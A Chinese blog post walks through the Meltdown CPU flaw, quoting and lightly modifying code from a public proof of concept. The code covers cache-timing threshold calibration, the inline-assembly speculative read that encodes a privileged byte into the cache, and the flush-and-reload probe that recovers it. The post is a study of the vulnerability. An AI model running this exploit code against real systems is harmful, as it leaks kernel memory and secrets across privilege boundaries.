对CPU漏洞Meltdown的理解

步骤1

先获取cached和uncached的读取时间,根据这个两个时间设置一个阀值

下面的代码是循环ESTIMATE_CYCLES次后取读取时间的平均值,再计算阀值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define ESTIMATE_CYCLES	1000000
static void
set_cache_hit_threshold(void)
{
long cached, uncached, i;

if (0) {
cache_hit_threshold = 80;
return;
}

for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);

for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);

for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
_mm_clflush(target_array);
uncached += get_access_time(target_array);
}

cached /= ESTIMATE_CYCLES;
uncached /= ESTIMATE_CYCLES;

cache_hit_threshold = mysqrt(cached * uncached);

printf("cached = %ld, uncached = %ld, threshold %d\n",
cached, uncached, cache_hit_threshold);
}

这是某次运行时候计算的结果

cached = 30, uncached = 416, threshold 111

可以看到 uncached的读取实践明显高于cached,我们可以根据有无cached进行推测一些东西

步骤2

步骤2是将我们想要读取的值读取到eax(实际是al,编译后查看汇编是movzx eax, byte ptr [rdi],其中rdi就是我们要读取的addr),这时候重要的操作来了,我们获取到的al只是作为target数组的索引(这里的target即target_array数组),由于推测执行和乱序执行,target+ rax * 4096这个地址的值就被缓存下来了(这是重点)

关键代码

1
2
3
4
5
6
7
8
".rept 300\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t" //这300个指令我试过删掉也是可以的,不影响

"movzx (%[addr]), %%eax\n\t" // 将要泄露的值读取一个byte到eax(这是会权限检查,比较耗资源,而乱序执行和推测执行使得cpu从addr获取到值赋值给eax后,不等待检查结束就执行下面的3条指令)
"shl $12, %%rax\n\t" // 将rax * 4096
"jz 1b\n\t" // 如果是0就跳回开头的循环处了
"movzx (%[target], %%rax, 1), %%rbx\n" //之后将target+ rax * 4096给到rbx

为了方便,也贴一下ida看到的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
......
......(这个add指令共300条)
.text:000000000040132A add rax, 141h
.text:0000000000401330 add rax, 141h
.text:0000000000401336 add rax, 141h
.text:000000000040133C add rax, 141h
.text:0000000000401342 add rax, 141h
.text:0000000000401348 add rax, 141h
.text:000000000040134E movzx eax, byte ptr [rdi]
.text:0000000000401351 shl rax, 0Ch
.text:0000000000401355 jz loc_400C46
.text:000000000040135B movzx rbx, byte ptr [rdx+rax]

步骤3

这时候我们再尝试测试读取target+ i * 4096,一旦发现这个读取时间小于阀值(threshold),那么就证明这时候的i就是之前读取出来的al的值了,即从侧面知道了之前读取的值了

作者代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int cache_hit_threshold;
static int hist[VARIANTS_READ];
void check(void)
{
int i, time, mix_i;
volatile char *addr;

for (i = 0; i < VARIANTS_READ; i++) {
mix_i = ((i * 167) + 13) & 255;

addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);

if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}

我改成直接读取&target_array[i * TARGET_SIZE];也是可以的,修改如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void check(void)
{
int i, time, mix_i;
volatile char *addr;

for (i = 0; i < VARIANTS_READ; i++) {
//mix_i = ((i * 167) + 13) & 255;
mix_i = i;
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);

if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}

其中mix_i就是真正泄露出来的值,而hist[mix_i]是所谓的分数,即这个值命中了几次,因为推测执行和乱序执行不一定每次都能执行到那里了,所以对于读取每一个byte,都循环执行了1000次,当然每次执行前都要将target_arrayflush掉

1
2
for (i = 0; i < 256; i++)
_mm_clflush(&target_array[i * 4096]);

所以要提高泄露数据的成功率,可以增加读取每个byte时候的循环次数

下面可以看到1000次成功0到5次

references

https://weibo.com/ttarticle/p/show?id=2309404192925885035405
https://github.com/paboldin/meltdown-exploit/blob/master/meltdown.c

自愿打赏专区